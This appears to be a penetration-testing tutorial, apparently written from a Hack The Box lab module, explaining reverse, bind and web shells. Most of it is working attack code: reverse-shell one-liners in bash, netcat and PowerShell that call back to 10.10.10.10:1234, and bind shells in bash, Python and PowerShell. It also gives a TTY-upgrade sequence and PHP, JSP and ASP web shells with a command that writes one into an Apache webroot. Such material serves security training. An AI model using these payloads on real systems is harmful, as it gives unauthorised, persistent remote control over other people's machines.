So what exactly what is a “shell” and why do hackers love them so much?

Shell overview

Once we compromise a system and exploit a vulnerability to execute commands on the compromised hosts remotely, we usually need a method of communicating with the system. To enumerate the system or take further control over it or within its network, we need a reliable connection that gives us direct access to the system’s shell, i.e., Bash or PowerShell, so we can thoroughly investigate the remote system for our next move. One method of accessing a compromised host for control and remote code execution is through shells.

There are three main types of shells: Reverse Shell, Bind Shell, and Web Shell. Each of these shells has a different method of communication with us for accepting and executing our commands.

Type of ShellMethod of Communication
Reverse ShellConnects back to our system and gives us control through a reverse connection.
Bind ShellWaits for us to connect to it and gives us control once we do.
Web ShellCommunicates through a web server, accepts our commands through HTTP parameters, executes them, and prints back the output.

Reverse shell

You can view a reverse shell cheatsheet here.

Netcat listener

Once we identify a vulnerability on the remote host that allows remote code execution, we can start a netcat listener on our machine that listens on a specific port, say port 1234. With this listener in place, we can execute a reverse shell command that connects the remote systems shell, i.e., Bash or PowerShell to our netcat listener, which gives us a reverse connection over the remote system.

In the example below, -l instructs to start in listen mode and wait for a connection to connect to us. -v sets verbose mode. -n disables DNS resolution (only connect to IPs) to speed up the connection. -p sets the port netcat is listening on.

brianhaddock@htb[/htb]$ nc -lvnp 1234

listening on [any] 1234 ...

The below commands are reliable commands we can use to get a reverse connection, for bash on Linux compromised hosts and Powershell on Windows compromised hosts:

bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"

Once you’ve executed one of the above commands, you should receive a connection through your netcat listener. Here’s what the connection would look like when it’s made.

brianhaddock@htb[/htb]$ nc -lvnp 1234

listening on [any] 1234 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.1] 41572

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reverse Shell can be very fragile. Once the reverse shell command is stopped, or if we lose our connection for any reason, you have to use the initial exploit to execute the reverse shell command again to regain access.

Bind shell

You can view a bind sheel cheatsheet here.

Another type of shell is a Bind Shell. Unlike a Reverse Shell that connects to us, we will have to connect to it on the targets' listening port. Once we execute a Bind Shell Command, it will start listening on a port on the remote host and bind that host’s shell, i.e., Bash or PowerShell, to that port. We have to connect to that port with netcat, and we will get control through a shell on that system.

The following are reliable commands we can use to start a bind shell:

Code: bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f

Code: python

python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

Code: powershell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

Once we execute the bind shell command, we should have a shell waiting for us on the specified port. We can now connect to it. We can use netcat to connect to that port and get a connection to the shell:

brianhaddock@htb[/htb]$ nc 10.10.10.1 1234

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

As we can see, we are directly dropped into a bash session and can interact with the target system directly. Unlike a Reverse Shell, if we drop our connection to a bind shell for any reason, we can connect back to it and get another connection immediately. However, if the bind shell command is stopped for any reason, or if the remote host is rebooted, we would still lose our access to the remote host and will have to exploit it again to gain access.

Once we connect to a shell through Netcat, we will notice that we can only type commands or backspace, but we cannot move the text cursor left or right to edit our commands, nor can we go up and down to access the command history. To be able to do that, we will need to upgrade our TTY. This can be achieved by mapping our terminal TTY with the remote TTY.

There are multiple methods to do this. For our purposes, we will use the python/stty method. In our netcat shell, we will use the following command to use python to upgrade the type of our shell to a full TTY:

brianhaddock@htb[/htb]$ python -c 'import pty; pty.spawn("/bin/bash")'

After we run this command, we will hit ctrl+z to background our shell and get back on our local terminal, and input the following stty command:

www-data@remotehost$ ^Z

brianhaddock@htb[/htb]$ stty raw -echo
brianhaddock@htb[/htb]$ fg

[Enter]
[Enter]
www-data@remotehost$

Once we hit fg, it will bring back our netcat shell to the foreground. At this point, the terminal will show a blank line. We can hit enter again to get back to our shell or input reset and hit enter to bring it back. At this point, we would have a fully working TTY shell with command history and everything else.

We may notice that our shell does not cover the entire terminal. To fix this, we need to figure out a few variables. We can open another terminal window on our system, maximize the windows or use any size we want, and then input the following commands to get our variables.

First, we echo $TERM to get our TERM variable and then use stty to get the values for rows and columns on our local machine.

brianhaddock@htb[/htb]$ echo $TERM

xterm-256color
brianhaddock@htb[/htb]$ stty size

67 318

Now that we have our variables, we can go back to our netcat shell and use the following command to correct them on our remote host:

www-data@remotehost$ export TERM=xterm-256color

www-data@remotehost$ stty rows 67 columns 318

Web shell

Web Shell is typically a web script, i.e., PHP or ASPX, that accepts our command through HTTP request parameters such as GET or POST request parameters, executes our command, and prints its output back on the web page.

Writing a Web Shell

First of all, we need to write our web shell that would take our command through a GET request, execute it, and print its output back. A web shell script is typically a one-liner that is very short and can be memorized easily. The following are some common short web shell scripts for common web languages:

Code: php

<?php system($_REQUEST["cmd"]); ?>

Code: jsp

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Code: asp

<% eval request("cmd") %>

Uploading a Web Shell

Once we have our web shell code in hand, we need to place our web shell script into the remote host’s web directory (webroot) to execute the script through the web browser. This can be through a vulnerability in an upload feature, which would allow us to write one of our shells to a file, i.e. shell.php and upload it. Or, if we only have remote command execution through an exploit, we can write our shell directly to the webroot to access it over the web. The following are the default webroots for common web servers:

Web ServerDefault Webroot
Apache/var/www/html/
Nginx/usr/local/nginx/html/
IISc:\inetpub\wwwroot\
XAMPPC:\xampp\htdocs\

We can check these directories to see which webroot is in use and then use echo to write out our web shell. For example, if we are attacking a Linux host running Apache, we can write a PHP shell with the following command:

Code: bash

echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php

Once we write our web shell, we can either access it through a browser or by using cURL. For example, wht the shell.php file above loaded on the serve, we can visit the shell.php page on the compromised website, and use ?cmd=id to execute the id command:

http://SERVER_IP:PORT/shell.php?cmd=id

Another option is to use cURL:

brianhaddock@htb[/htb]$ curl http://SERVER_IP:PORT/shell.php?cmd=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

A great benefit of a web shell is that it would bypass any firewall restriction in place, as it will not open a new connection on a port but run on the web port on 80 or 443, or whatever port the web application is using. Another great benefit is that if the compromised host is rebooted, the web shell would still be in place, and we can access it and get command execution without exploiting the remote host again. On the other hand, a web shell is not as interactive as reverse and bind shells are since we have to keep requesting a different URL to execute our commands.